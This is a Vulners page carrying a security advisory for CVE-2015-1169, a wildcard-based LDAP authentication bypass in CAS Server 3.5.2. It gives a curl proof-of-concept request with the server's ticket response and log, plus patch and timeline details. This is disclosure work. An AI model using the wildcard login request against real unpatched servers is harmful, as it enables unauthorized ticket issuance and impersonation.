Vulners
Lucene search
CAS Server 3.5.2 LDAP Authentication Bypass Vulnerability
| Reporter | Title | Published | Views | Family All 7 |
|---|---|---|---|---|
 | CAS Server LDAP Authentication Bypass Vulnerability | 23 Jan 201500:00 | – | cnvd |
 | CVE-2015-1169 | 10 Feb 201520:00 | – | cve |
 | CVE-2015-1169 | 10 Feb 201520:00 | – | cvelist |
 | EUVD-2015-1311 | 7 Oct 202500:30 | – | euvd |
 | CVE-2015-1169 | 10 Feb 201520:59 | – | nvd |
 | CAS Server 3.5.2 LDAP Authentication Bypass | 22 Jan 201500:00 | – | packetstorm |
 | Authentication flaw | 10 Feb 201520:59 | – | prion |
CVE-2015-1169 - CAS Server 3.5.2 allows remote attackers to bypass LDAP
authentication via crafted wildcards.
Reporter: José Tozo < juniorbsd () gmail com >
=====[Table of Contents]==================================
1. Background
2. Detailed description
3. Other contexts & solutions
4. Timeline
5. References
=====[1. Background]======================================
CAS is an authentication system originally created by Yale University to
provide a trusted way for an application to authenticate a user.
=====[2. Detailed description]============================
A valid username and password required.
Given a username johndoe and a password superpass, you can sucessfully
achieve login using wildcards:
username: jo*
password: superpass
The login will be sucessfully only if the ldap bind search return one
unique member.
The vulnerability described in this document can be validated using the
following example:
Client Request:
[email protected]:/# curl -k -L -d "username=jo%2A&password=superpass"
https://login.cas-server.com/v1/tickets
(note that * was url encoded to %2A)
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<title>201 The request has been fulfilled and resulted in a new
resource being created</title>
</head>
<body>
<h1>TGT Created</h1>
<form action="
https://xxx.xxx.xxx.xxx/v1/tickets/TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSaz"
method="POST">Service:<input type="text" name="service" value=""><br><input
type="submit" value="Submit"></form>
</body>
</html>
Server log:
=============================================================
WHO: [username: jo*]
WHAT: TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSaz
ACTION: TICKET_GRANTING_TICKET_CREATED
APPLICATION: CAS
WHEN: Tue Jan 20 18:38:17 BRST 2015
CLIENT IP ADDRESS: xxx.xxx.xxx.xxx
SERVER IP ADDRESS: xxx.xxx.xxx.xxx
=============================================================
=====[3. Other contexts & solutions]======================
In order to apply the patch, you have to update at least to version 3.5.3.
Newer versions, such as CAS 4.0.0 and above, are not vulnerable.
=====[4. Timeline]========================================
29/12/14 Vendor notification.
14/01/15 Vendor rolled out new version 3.5.3
17/01/15 Mitre assigned CVE-2015-1169.
21/01/15 Disclosure date.
=====[5. References]=======================================
1 - https://github.com/Jasig/cas/pull/411
2 -
https://github.com/Jasig/cas/commit/7de61b4c6244af9ff8e75a2c92a570f3b075309c
--
Grato,
Tozo
# 0day.today [2018-03-13] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Jan 2015 00:00Current
6.8Medium risk
Vulners AI Score6.8
EPSS0.00316